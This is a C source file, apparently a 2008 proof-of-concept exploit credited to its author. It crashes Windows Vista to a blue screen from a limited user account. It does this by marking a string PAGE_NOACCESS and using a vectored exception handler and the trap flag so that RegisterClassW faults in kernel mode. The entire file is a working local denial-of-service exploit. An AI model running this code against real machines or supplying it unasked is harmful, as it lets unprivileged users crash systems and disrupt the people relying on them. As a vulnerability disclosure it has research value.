vista-access.txt

`// //////////////////////////////////////////////////////////////  
// Windows Vista BSoD (Access violation) from limited account. //  
// Tested on Home Premium & Ultimate @ October 05 2008 //  
/////////////////////////////////////////////////////////////////  
#include <stdio.h>  
#include <windows.h>  
  
WCHAR szClass[] = L"BSODClass";  
  
int ExceptionHandler(EXCEPTION_POINTERS* lpExceptionInfo);  
typedef void (WINAPI* pFunc)(ULONG ulFirst, LPVOID lpHandler);  
pFunc pRtlAddVectoredExceptionHandler;  
  
typedef struct  
{  
DWORD dwWriteViolation;  
LPVOID lpAddress;  
} EXCEPTION_ACCESS_VIOLATION_PARAMS;  
  
int main()  
{  
WNDCLASSW wc;  
DWORD dwOldProt;  
  
printf("Windows Vista BSoD from usermode/limited account.\n"  
"Coded by. Defsanguje - October 05 2008\n");  
  
// Setup vectored exception handler. SEH would work also.  
pRtlAddVectoredExceptionHandler = (pFunc)GetProcAddress((HMODULE)GetModuleHandle("ntdll.dll"),  
"RtlAddVectoredExceptionHandler");  
(*pRtlAddVectoredExceptionHandler)(TRUE, ExceptionHandler);  
  
// Dummy data  
wc.style = 0;  
wc.lpfnWndProc = NULL;  
wc.cbClsExtra = 0;  
wc.cbWndExtra = 0;  
wc.hInstance = GetModuleHandle(NULL);  
wc.hIcon = NULL;  
wc.hCursor = LoadCursor(NULL, IDC_ARROW);  
wc.hbrBackground = GetStockObject(HOLLOW_BRUSH);  
wc.lpszMenuName = NULL;  
wc.lpszClassName = szClass;  
  
VirtualProtect(szClass, 1, PAGE_NOACCESS, &dwOldProt);  
RegisterClassW(&wc);  
  
printf("You shouldn't see this");  
return 0;  
}  
  
int ExceptionHandler(EXCEPTION_POINTERS* lpExceptionInfo)  
{  
static LPVOID lpLastAddress;  
static DWORD dwOldProt;  
EXCEPTION_ACCESS_VIOLATION_PARAMS* avParams;  
switch(lpExceptionInfo->ExceptionRecord->ExceptionCode)  
{  
case EXCEPTION_ACCESS_VIOLATION:  
avParams = (EXCEPTION_ACCESS_VIOLATION_PARAMS*)lpExceptionInfo->ExceptionRecord->ExceptionInformation;  
VirtualProtect(avParams->lpAddress, 1, PAGE_READWRITE, &dwOldProt);  
lpLastAddress = avParams->lpAddress;  
  
// Set trap flag  
lpExceptionInfo->ContextRecord->EFlags |= 0x100;  
break;  
case STATUS_SINGLE_STEP:  
VirtualProtect(lpLastAddress, 1, PAGE_NOACCESS, &dwOldProt);  
break;  
default:  
break;  
}  
return EXCEPTION_CONTINUE_EXECUTION;  
;  
}  
  
`